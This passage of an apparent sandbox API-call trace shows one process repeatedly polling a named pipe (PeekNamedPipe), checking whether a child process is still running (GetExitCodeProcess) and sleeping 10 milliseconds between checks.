lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0166.076] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0166.076] Sleep (dwMilliseconds=0xa) [0166.117] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0166.118] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0166.118] Sleep (dwMilliseconds=0xa) [0166.167] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0166.167] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0166.167] Sleep (dwMilliseconds=0xa) [0166.226] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0166.226] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0166.226] Sleep (dwMilliseconds=0xa) [0166.296] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0166.298] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0166.298] Sleep (dwMilliseconds=0xa) [0166.936] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0166.936] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0166.936] Sleep (dwMilliseconds=0xa) [0167.075] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.075] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.075] Sleep (dwMilliseconds=0xa) [0167.179] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.180] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.180] Sleep (dwMilliseconds=0xa) [0167.274] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.274] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.274] Sleep (dwMilliseconds=0xa) [0167.383] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.383] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.383] Sleep (dwMilliseconds=0xa) [0167.475] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.475] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.475] Sleep (dwMilliseconds=0xa) [0167.712] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.712] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.712] Sleep (dwMilliseconds=0xa) [0167.798] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.798] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.798] Sleep (dwMilliseconds=0xa) [0167.865] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.865] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.865] Sleep (dwMilliseconds=0xa) [0167.937] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.937] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.937] Sleep (dwMilliseconds=0xa) [0167.997] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0167.997] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0167.997] Sleep (dwMilliseconds=0xa) [0168.703] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0168.704] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0168.704] Sleep (dwMilliseconds=0xa) [0168.789] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0168.789] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0168.789] Sleep (dwMilliseconds=0xa) [0168.917] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0168.918] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0168.918] Sleep (dwMilliseconds=0xa) [0168.964] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0168.964] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0168.964] Sleep (dwMilliseconds=0xa) [0169.070] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0173.310] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0173.310] Sleep (dwMilliseconds=0xa) [0173.592] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0173.593] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0173.593] Sleep (dwMilliseconds=0xa) [0173.643] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0173.643] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0173.643] Sleep (dwMilliseconds=0xa) [0173.746] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0176.987] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0176.987] Sleep (dwMilliseconds=0xa) [0176.990] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0176.991] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0176.991] Sleep (dwMilliseconds=0xa) [0177.005] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.005] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.005] Sleep (dwMilliseconds=0xa) [0177.144] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.144] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.144] Sleep (dwMilliseconds=0xa) [0177.192] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.192] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.192] Sleep (dwMilliseconds=0xa) [0177.239] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.239] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.239] Sleep (dwMilliseconds=0xa) [0177.299] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.300] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.300] Sleep (dwMilliseconds=0xa) [0177.348] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.348] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.349] Sleep (dwMilliseconds=0xa) [0177.398] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.398] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.398] Sleep (dwMilliseconds=0xa) [0177.445] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.445] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.446] Sleep (dwMilliseconds=0xa) [0177.481] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.482] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.482] Sleep (dwMilliseconds=0xa) [0177.537] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.537] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.537] Sleep (dwMilliseconds=0xa) [0177.586] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.587] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.587] Sleep (dwMilliseconds=0xa) [0177.638] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.638] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.638] Sleep (dwMilliseconds=0xa) [0177.675] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.676] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.676] Sleep (dwMilliseconds=0xa) [0177.885] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.886] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.886] Sleep (dwMilliseconds=0xa) [0177.928] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.928] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.928] Sleep (dwMilliseconds=0xa) [0177.972] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0177.972] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0177.973] Sleep (dwMilliseconds=0xa) [0178.021] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.021] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.023] Sleep (dwMilliseconds=0xa) [0178.069] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.069] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.069] Sleep (dwMilliseconds=0xa) [0178.115] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.115] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.115] Sleep (dwMilliseconds=0xa) [0178.162] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.162] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.162] Sleep (dwMilliseconds=0xa) [0178.182] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.182] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.182] Sleep (dwMilliseconds=0xa) [0178.207] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.207] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.207] Sleep (dwMilliseconds=0xa) [0178.222] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.222] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.222] Sleep (dwMilliseconds=0xa) [0178.267] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.269] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.269] Sleep (dwMilliseconds=0xa) [0178.319] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.319] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.319] Sleep (dwMilliseconds=0xa) [0178.356] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.356] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.356] Sleep (dwMilliseconds=0xa) [0178.394] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.394] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.394] Sleep (dwMilliseconds=0xa) [0178.441] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.443] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.444] Sleep (dwMilliseconds=0xa) 